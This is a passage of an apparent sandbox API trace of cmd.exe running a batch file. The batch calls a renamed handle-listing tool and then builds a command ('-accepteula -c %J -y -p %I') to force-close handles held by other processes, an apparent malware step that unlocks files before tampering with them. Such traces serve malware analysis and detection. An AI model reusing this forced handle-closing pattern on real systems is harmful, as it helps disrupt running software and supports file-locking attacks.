lpNumberOfCharsWritten=0x39f188*=0x7) returned 1 [0103.905] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="(%s) %s ", _ArgList=0x39f198 | out: _Buffer="(`bv6ncK8c.exe -accepteula \"Dotted_Line.jtp\" -nobanner`) DO ") returned 60 [0103.905] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.905] GetFileType (hFile=0x7) returned 0x2 [0103.906] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.906] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f158 | out: lpMode=0x39f158) returned 1 [0103.906] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.906] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3c, lpNumberOfCharsWritten=0x39f184, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39f184*=0x3c) returned 1 [0103.906] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.906] GetFileType (hFile=0x7) returned 0x2 [0103.907] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.907] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f164 | out: lpMode=0x39f164) returned 1 [0103.907] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.907] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x39f190, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x39f190*=0x1) returned 1 [0103.907] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.907] GetFileType (hFile=0x7) returned 0x2 [0103.908] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.908] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f148 | out: lpMode=0x39f148) returned 1 [0103.908] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.908] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x104340*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x39f174, lpReserved=0x0 | out: lpBuffer=0x104340*, lpNumberOfCharsWritten=0x39f174*=0xc) returned 1 [0103.908] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x39f180 | out: _Buffer=" -accepteula -c %J -y -p %I -nobanner ") returned 38 [0103.908] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.908] GetFileType (hFile=0x7) returned 0x2 [0103.908] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.909] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f140 | out: lpMode=0x39f140) returned 1 [0103.909] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.909] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x39f16c, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39f16c*=0x26) returned 1 [0103.910] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x39f19c | out: _Buffer=") ") returned 2 [0103.910] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.910] GetFileType (hFile=0x7) returned 0x2 [0103.911] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.911] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f15c | out: lpMode=0x39f15c) returned 1 [0103.911] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.911] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x39f188, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39f188*=0x2) returned 1 [0103.911] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x39f1bc | out: _Buffer="\r\n") returned 2 [0103.911] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.911] GetFileType (hFile=0x7) returned 0x2 [0103.912] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.912] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f17c | out: lpMode=0x39f17c) returned 1 [0103.914] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.914] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x39f1a8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39f1a8*=0x2) returned 1 [0103.916] GetProcessHeap () returned 0xf0000 [0103.916] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x2c) returned 0x1043c8 [0103.916] GetProcessHeap () returned 0xf0000 [0103.916] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xc) returned 0xf0db8 [0103.916] GetProcessHeap () returned 0xf0000 [0103.916] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xc) returned 0xf0dd0 [0103.916] GetProcessHeap () returned 0xf0000 [0103.916] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xe) returned 0xf0de8 [0103.916] _wcsnicmp (_String1="UseBackQ", _String2="usebackq", _MaxCount=0x8) returned 0 [0103.916] _wcsnicmp (_String1="Tokens=3", _String2="usebackq", _MaxCount=0x8) returned -1 [0103.916] _wcsnicmp (_String1="Tokens=", _String2="useback", _MaxCount=0x7) returned -1 [0103.916] _wcsnicmp (_String1="Toke", _String2="eol=", _MaxCount=0x4) returned 15 [0103.916] _wcsnicmp (_String1="Tokens=", _String2="delims=", _MaxCount=0x7) returned 16 [0103.916] _wcsnicmp (_String1="Token", _String2="skip=", _MaxCount=0x5) returned 1 [0103.916] _wcsnicmp (_String1="Tokens=", _String2="tokens=", _MaxCount=0x7) returned 0 [0103.916] wcstol (in: _String="3,6 delims=: \"", _EndPtr=0x39f0d8, _Radix=0 | out: _EndPtr=0x39f0d8*=",6 delims=: \"") returned 3 [0103.916] wcstol (in: _String="6 delims=: \"", _EndPtr=0x39f0d8, _Radix=0 | out: _EndPtr=0x39f0d8*=" delims=: \"") returned 6 [0103.916] _wcsnicmp (_String1="delims=:", _String2="usebackq", _MaxCount=0x8) returned -17 [0103.917] _wcsnicmp (_String1="delims=", _String2="useback", _MaxCount=0x7) returned -17 [0103.917] _wcsnicmp (_String1="deli", _String2="eol=", _MaxCount=0x4) returned -1 [0103.917] _wcsnicmp (_String1="delims=", _String2="delims=", _MaxCount=0x7) returned 0 [0103.917] GetProcessHeap () returned 0xf0000 [0103.917] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0xf0de8 | out: hHeap=0xf0000) returned 1 [0103.917] GetProcessHeap () returned 0xf0000 [0103.917] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xe) returned 0xf0de8 [0103.917] GetProcessHeap () returned 0xf0000 [0103.917] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0xf0db8, Size=0xe) returned 0xf0e00 [0103.917] GetProcessHeap () returned 0xf0000 [0103.917] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0xf0e00) returned 0xe [0103.917] GetProcessHeap () returned 0xf0000 [0103.917] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0xf0dd0, Size=0x14) returned 0xf12a0 [0103.917] GetProcessHeap () returned 0xf0000 [0103.917] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0xf12a0) returned 0x14 [0103.917] _wpopen (_Command="bv6ncK8c.exe -accepteula \"Dotted_Line.jtp\" -nobanner", _Mode="rb") returned 0x76be2960 [0103.932] feof (_File=0x76be2960) returned 0 [0103.932] ferror (_File=0x76be2960) returned 0 [0103.932] GetProcessHeap () returned 0xf0000 [0103.933] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x108) returned 0x104400 [0103.933] fgets (in: _Buf=0x104408, _MaxCount=256, _File=0x76be2960 | out: _Buf="Unable to extract x64 image. Run Handle from a writeable directory.\r\r\n", _File=0x76be2960) returned="Unable to extract x64 image. Run Handle from a writeable directory.\r\r\n" [0105.199] feof (_File=0x76be2960) returned 0 [0105.199] ferror (_File=0x76be2960) returned 0 [0105.199] GetProcessHeap () returned 0xf0000 [0105.199] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0x104400, Size=0x208) returned 0x104400 [0105.199] GetProcessHeap () returned 0xf0000 [0105.199] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x104400) returned 0x208 [0105.199] fgets (in: _Buf=0x10444e, _MaxCount=442, _File=0x76be2960 | out: _Buf="\r\r\n", _File=0x76be2960) returned="\r\r\n" [0105.199] feof (_File=0x76be2960) returned 0 [0105.199] ferror (_File=0x76be2960) returned 0 [0105.199] GetProcessHeap () returned 0xf0000 [0105.199] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0x104400, Size=0x308) returned 0x104400 [0105.199] GetProcessHeap () returned 0xf0000 [0105.199] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x104400) returned 0x308 [0105.199] fgets (in: _Buf=0x104451, _MaxCount=695, _File=0x76be2960 | out: _Buf="", _File=0x76be2960) returned 0x0 [0105.885] _pclose (in: _File=0x76be2960 | out: _File=0x76be2960) returned 1 [0105.885] GetProcessHeap () returned 0xf0000 [0105.885] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0x104400, Size=0x9e) returned 0x104400 [0105.885] GetProcessHeap () returned 0xf0000 [0105.885] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x104400) returned 0x9e [0105.885] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x104451, cbMultiByte=73, lpWideCharStr=0x104408, cchWideChar=73 | out: lpWideCharStr="Unable to extract x64 image. Run Handle from a writeable directory.\r\r\n\r\r\n") returned 73 [0105.886] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x400a) returned 0x114bc8 [0105.886] GetProcessHeap () returned 0xf0000 [0105.886] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0x114bc8, Size=0x3c) returned 0x114bc8 [0105.886] GetProcessHeap () returned 0xf0000 [0105.886] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x114bc8) returned 0x3c [0105.886] GetProcessHeap () returned 0xf0000 [0105.886] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x400a) returned 0x114c10 [0105.886] GetProcessHeap () returned 0xf0000 [0105.886] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0x114c10, Size=0xb8) returned 0x114c10 [0105.886] GetProcessHeap () returned 0xf0000 [0105.886] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x114c10) returned 0xb8 [0105.886] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x39edcc | out: _Buffer="\r\n") returned 2 [0105.886] _get_osfhandle (_FileHandle=1) returned 0x7 [0105.886] GetFileType (hFile=0x7) returned 0x2 [0105.888] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0105.888] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39ed8c | out: lpMode=0x39ed8c) returned 1 [0105.888] _get_osfhandle (_FileHandle=1) returned 0x7 [0105.888] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x39edb8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39edb8*=0x2) returned 1 [0105.890] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0105.890] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x39edc8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0105.890] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x39edc8 | out: _Buffer=">") returned 1 [0105.890] _get_osfhandle (_FileHandle=1) returned 0x7 [0105.890] GetFileType (hFile=0x7) returned 0x2 [0105.890] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0105.890] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39ed90 | out: lpMode=0x39ed90) returned 1 [0105.891] _get_osfhandle (_FileHandle=1) returned 0x7 [0105.891] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x39edbc, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x39edbc*=0x26) returned 1 [0105.891] _get_osfhandle (_FileHandle=1) returned 0x7 [0105.891] GetFileType (hFile=0x7) returned 0x2 [0105.892] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0105.892] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f014 | out: lpMode=0x39f014) returned 1 [0105.892] _get_osfhandle (_FileHandle=1) returned 0x7 [0105.892] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x39f040, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x39f040*=0x1) returned 1 [0105.892] _get_osfhandle (_FileHandle=1) returned 0x7 [0105.892] GetFileType (hFile=0x7) returned 0x2 [0105.893] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0105.893] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39eff8 | out: lpMode=0x39eff8) returned 1 [0105.893] _get_osfhandle (_FileHandle=1) returned 0x7 [0105.893] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x114bd0*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x39f024, lpReserved=0x0 | out: lpBuffer=0x114bd0*, lpNumberOfCharsWritten=0x39f024*=0xc) returned 1 [0105.894] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x39f030 | out: _Buffer=" -accepteula -c Run -y -p extract -nobanner ") returned 44 [0105.894] _get_osfhandle (_FileHandle=1) returned 0x7 [0105.894] GetFileType (hFile=0x7) returned 0x2 [0105.894] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0105.894] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39eff0 | out: lpMode=0x39eff0) returned 1 [0105.894] _get_osfhandle (_FileHandle=1) returned 0x7 [0105.894] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2c, lpNumberOfCharsWritten=0x39f01c, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39f01c*=0x2c) returned 1 [0105.896] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x39f04c | out: _Buffer=") ") returned 2 [0105.896] _get_osfhandle (_FileHandle=1) returned 0x7 [0105.896] GetFileType (hFile=0x7) returned 0x2 [0105.896] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0105.896] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f00c | out: lpMode=0x39f00c) returned 1 [0105.897] _get_osfhandle (_FileHandle=1) returned 0x7 [0105.897] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x39f038, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39f038*=0x2) returned 1 [0105.897] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x39f06c | out: _Buffer="\r\n") returned 2 [0105.897] _get_osfhandle (_FileHandle=1) returned 0x7 [0105.897] GetFileType (hFile=0x7) returned 0x2 [0105.897] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0105.897] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f02c | out: lpMode=0x39f02c) returned 1 [0105.898] _get_osfhandle (_FileHandle=1) returned 0x7 [0105.898] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x39f058, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39f058*=0x2) returned 1 [0105.899] GetConsoleTitleW (in: lpConsoleTitle=0x39eb7c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0105.900] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x104750, lpFilePart=0x39e69c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x39e69c*="Desktop") returned 0x25 [0105.900] SetErrorMode (uMode=0x0) returned 0x1 [0105.900] GetProcessHeap () returned 0xf0000 [0105.900] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0x104748, Size=0x6e) returned 0x104748 [0105.900] GetProcessHeap () returned 0xf0000 [0105.900] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x104748) returned 0x6e [0105.900] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0105.900] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0105.900] GetProcessHeap () returned 0xf0000 [0105.900] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x120) returned 0x1047c0 [0105.900] GetProcessHeap () returned 0xf0000 [0105.900] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x238) returned 0x1048e8 [0105.901] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0105.901] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x39e438, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39e438) returned 0x104a98 [0105.901] FindClose (in: hFindFile=0x104a98 | out: hFindFile=0x104a98) returned 1 [0105.901] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0105.901] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0105.901] GetConsoleTitleW (in: lpConsoleTitle=0x39e910, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0105.901] InitializeProcThreadAttributeList (in: lpAttributeList=0x39e798, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x39e860 | out: lpAttributeList=0x39e798, lpSize=0x39e860) returned 1 [0105.901] UpdateProcThreadAttribute (in: lpAttributeList=0x39e798, dwFlags=0x0, Attribute=0x60001, lpValue=0x39e858, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x39e798, lpPreviousValue=0x0) returned 1 [0105.901] GetStartupInfoW (in: lpStartupInfo=0x39e754 | out: lpStartupInfo=0x39e754*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0105.901] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0105.902] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x39e7f4*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x39e840 | out: lpCommandLine="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", lpProcessInformation=0x39e840*(hProcess=0x74, hThread=0x84, dwProcessId=0xea8, dwThreadId=0xeac)) returned 1 [0105.915] CloseHandle (hObject=0x84) returned 1 [0105.915] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0105.915] GetProcessHeap () returned 0xf0000 [0105.915] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1076e0 | out: hHeap=0xf0000) returned 1 [0105.915] GetEnvironmentStringsW () returned 0x106b50* [0105.915] GetProcessHeap () returned 0xf0000 [0105.915] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xb86) returned 0x1076e0 [0105.915] FreeEnvironmentStringsW (penv=0x106b50) returned 1 [0105.915] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0108.114] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x39e734 | out: lpExitCode=0x39e734*=0x0) returned 1 [0108.114] CloseHandle (hObject=0x74) returned 1 [0108.114] _vsnwprintf (in: _Buffer=0x39e87c, _BufferCount=0x13, _Format="%08X", _ArgList=0x39e740 | out: _Buffer="00000000") returned 8 [0108.115] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0108.115] GetProcessHeap () returned 0xf0000 [0108.115] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1076e0 | out: hHeap=0xf0000) returned 1 [0108.115] GetEnvironmentStringsW () returned 0x106b50* [0108.115] GetProcessHeap () returned 0xf0000 [0108.115] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xb86) returned 0x1076e0 [0108.115] FreeEnvironmentStringsW (penv=0x106b50) returned 1 [0108.115] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0108.115] GetProcessHeap () returned 0xf0000 [0108.115] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1076e0 | out: hHeap=0xf0000) returned 1 [0108.115] GetEnvironmentStringsW () returned 0x106b50* [0108.116] GetProcessHeap () returned 0xf0000 [0108.116] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xb86) returned 0x1076e0 [0108.116] FreeEnvironmentStringsW (penv=0x106b50) returned 1 [0108.116] GetProcessHeap () returned 0xf0000 [0108.116] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0xf0dd0 | out: hHeap=0xf0000) returned 1 [0108.116] DeleteProcThreadAttributeList (in: lpAttributeList=0x39e798 | out: lpAttributeList=0x39e798) [0108.116] _get_osfhandle (_FileHandle=1) returned 0x7 [0108.116] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0108.116] _get_osfhandle (_FileHandle=1) returned 0x7 [0108.117] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0108.117] _get_osfhandle (_FileHandle=0) returned 0x3 [0108.117] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0108.117] SetConsoleInputExeNameW () returned 0x1 [0108.117] GetConsoleOutputCP () returned 0x1b5 [0108.117] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0108.117] SetThreadUILanguage (LangId=0x0) returned 0x409 [0108.118] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x39f164, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0108.118] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0108.118] _get_osfhandle (_FileHandle=3) returned 0x74 [0108.118] SetFilePointer (in: hFile=0x74, lDistanceToMove=226, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0108.118] GetProcessHeap () returned 0xf0000 [0108.118] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104a18 | out: hHeap=0xf0000) returned 1 [0108.118] GetProcessHeap () returned 0xf0000 [0108.118] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1048e8 | out: hHeap=0xf0000) returned 1 [0108.118] GetProcessHeap () returned 0xf0000 [0108.119] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1047c0 | out: hHeap=0xf0000) returned 1 [0108.119] GetProcessHeap () returned 0xf0000 [0108.119] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104748 | out: hHeap=0xf0000) returned 1 [0108.119] GetProcessHeap () returned 0xf0000 [0108.119] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1046c0 | out: hHeap=0xf0000) returned 1 [0108.119] GetProcessHeap () returned 0xf0000 [0108.119] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1044a8 | out: hHeap=0xf0000) returned 1 [0108.119] GetProcessHeap () returned 0xf0000 [0108.119] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x114c10 | out: hHeap=0xf0000) returned 1 [0108.119] GetProcessHeap () returned 0xf0000 [0108.119] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x114bc8 | out: hHeap=0xf0000) returned 1 [0108.119] GetProcessHeap () returned 0xf0000 [0108.119] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0xf0de8 | out: hHeap=0xf0000) returned 1 [0108.119] GetProcessHeap () returned 0xf0000 [0108.119] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0xf12a0 | out: hHeap=0xf0000) returned 1 [0108.119] GetProcessHeap () returned 0xf0000 [0108.119] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0xf0e00 | out: hHeap=0xf0000) returned 1 [0108.119] GetProcessHeap () returned 0xf0000 [0108.119] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1043c8 | out: hHeap=0xf0000) returned 1 [0108.119] GetProcessHeap () returned 0xf0000 [0108.119] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104368 | out: hHeap=0xf0000) returned 1 [0108.119] GetProcessHeap () returned 0xf0000 [0108.119] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104338 | out: hHeap=0xf0000) returned 1 [0108.119] GetProcessHeap () returned 0xf0000 [0108.119] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1042d8 | out: hHeap=0xf0000) returned 1 [0108.119] GetProcessHeap () returned 0xf0000 [0108.119] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104278 | out: hHeap=0xf0000) returned 1 [0108.119] GetProcessHeap () returned 0xf0000 [0108.119] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1041f8 | out: hHeap=0xf0000) returned 1 [0108.119] GetProcessHeap () returned 0xf0000 [0108.119] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1041a0 | out: hHeap=0xf0000) returned 1 [0108.119] GetProcessHeap () returned 0xf0000 [0108.119] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0xf1280 | out: hHeap=0xf0000) returned 1 [0108.119] GetProcessHeap () returned 0xf0000 [0108.119] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0xf1230 | out: hHeap=0xf0000) returned 1 [0108.119] GetProcessHeap () returned 0xf0000 [0108.119] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0xf11d0 | out: hHeap=0xf0000) returned 1 [0108.120] _get_osfhandle (_FileHandle=3) returned 0x74 [0108.120] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0108.120] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x39f148, lpOverlapped=0x0 | out: 